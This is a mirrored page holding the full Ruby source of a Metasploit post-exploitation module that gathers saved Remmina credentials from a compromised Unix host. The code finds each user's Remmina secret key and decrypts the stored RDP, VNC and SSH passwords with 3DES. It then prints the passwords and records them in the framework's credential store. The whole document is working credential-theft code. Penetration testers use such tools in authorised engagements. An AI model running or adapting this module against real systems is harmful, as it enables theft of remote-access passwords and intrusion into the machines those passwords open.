Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

remmina_creds.rb 5.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188
  1. # encoding: binary
  2. ##
  3. # This module requires Metasploit: http://metasploit.com/download
  4. # Current source: https://github.com/rapid7/metasploit-framework
  5. ##
  6. require 'msf/core'
  7. class MetasploitModule < Msf::Post
  8. include Msf::Post::File
  9. include Msf::Post::Unix
  10. def initialize(info = {})
  11. super(update_info(
  12. info,
  13. 'Name' => 'UNIX Gather Remmina Credentials',
  14. 'Description' => %q(
  15. Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
  16. These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
  17. stored in (relatively) plain text in a file that must be properly protected.
  18. ),
  19. 'License' => MSF_LICENSE,
  20. 'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
  21. 'Platform' => %w(bsd linux osx unix),
  22. 'SessionTypes' => %w(shell meterpreter)
  23. ))
  24. end
  25. def run
  26. creds = extract_all_creds
  27. creds.uniq!
  28. if creds.empty?
  29. vprint_status('No Reminna credentials collected')
  30. else
  31. vprint_good("Collected #{creds.size} sets of Remmina credentials")
  32. cred_table = Rex::Text::Table.new(
  33. 'Header' => 'Remmina Credentials',
  34. 'Indent' => 1,
  35. 'Columns' => %w(Host Port Service User Password)
  36. )
  37. creds.each do |cred|
  38. cred_table << cred
  39. report_credential(cred[3], cred[4])
  40. end
  41. print_line(cred_table.to_s)
  42. end
  43. end
  44. def decrypt(secret, data)
  45. c = OpenSSL::Cipher::Cipher.new('des3')
  46. key_data = Base64.decode64(secret)
  47. # the key is the first 24 bytes of the secret
  48. c.key = key_data[0, 24]
  49. # the IV is the last 8 bytes of the secret
  50. c.iv = key_data[24, 8]
  51. # passwords less than 16 characters are padded with nulls
  52. c.padding = 0
  53. c.decrypt
  54. p = c.update(Base64.decode64(data))
  55. p << c.final
  56. # trim null-padded, < 16 character passwords
  57. p.gsub(/\x00*$/, '')
  58. end
  59. # Extracts all remmina creds found anywhere on the target
  60. def extract_all_creds
  61. creds = []
  62. user_dirs = enum_user_directories
  63. if user_dirs.empty?
  64. print_error('No user directories found')
  65. return
  66. end
  67. vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
  68. # walk through each user directory
  69. enum_user_directories.each do |user_dir|
  70. remmina_dir = ::File.join(user_dir, '.remmina')
  71. pref_file = ::File.join(remmina_dir, 'remmina.pref')
  72. next unless file?(pref_file)
  73. remmina_prefs = get_settings(pref_file)
  74. next if remmina_prefs.empty?
  75. if (secret = remmina_prefs['secret'])
  76. vprint_status("Extracted secret #{secret} from #{pref_file}")
  77. else
  78. print_error("No Remmina secret key found in #{pref_file}")
  79. next
  80. end
  81. # look for any \d+\.remmina files which contain the creds
  82. cred_files = dir(remmina_dir).map do |entry|
  83. ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
  84. end
  85. cred_files.compact!
  86. if cred_files.empty?
  87. vprint_status("No Remmina credential files in #{remmina_dir}")
  88. else
  89. creds |= extract_creds(secret, cred_files)
  90. end
  91. end
  92. creds
  93. end
  94. def extract_creds(secret, files)
  95. creds = []
  96. files.each do |file|
  97. settings = get_settings(file)
  98. next if settings.empty?
  99. # get protocol, host, user
  100. proto = settings['protocol']
  101. host = settings['server']
  102. case proto
  103. when 'RDP'
  104. port = 3389
  105. user = settings['username']
  106. when 'VNC'
  107. port = 5900
  108. domain = settings['domain']
  109. if domain.blank?
  110. user = settings['username']
  111. else
  112. user = domain + '\\' + settings['username']
  113. end
  114. when 'SFTP', 'SSH'
  115. # XXX: in my testing, the box to save SSH passwords was disabled
  116. # so this may never work
  117. user = settings['ssh_username']
  118. port = 22
  119. else
  120. print_error("Unsupported protocol: #{proto}")
  121. next
  122. end
  123. # get the password
  124. encrypted_password = settings['password']
  125. password = nil
  126. unless encrypted_password.blank?
  127. password = decrypt(secret, encrypted_password)
  128. end
  129. if host && user && password
  130. creds << [ host, port, proto.downcase, user, password ]
  131. else
  132. missing = []
  133. missing << 'host' unless host
  134. missing << 'user' unless user
  135. missing << 'password' unless password
  136. vprint_error("No #{missing.join(',')} in #{file}")
  137. end
  138. end
  139. creds
  140. end
  141. # Reads key=value pairs from the specified file, returning them as a Hash of key => value
  142. def get_settings(file)
  143. settings = {}
  144. read_file(file).split("\n").each do |line|
  145. if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
  146. settings[setting] = value
  147. end
  148. end
  149. vprint_error("No settings found in #{file}") if settings.empty?
  150. settings
  151. end
  152. def report_credential(user, pass)
  153. credential_data = {
  154. workspace_id: myworkspace_id,
  155. origin_type: :session,
  156. session_id: session_db_id,
  157. post_reference_name: self.refname,
  158. username: user,
  159. private_data: pass,
  160. private_type: :password
  161. }
  162. create_credential(credential_data)
  163. end
  164. end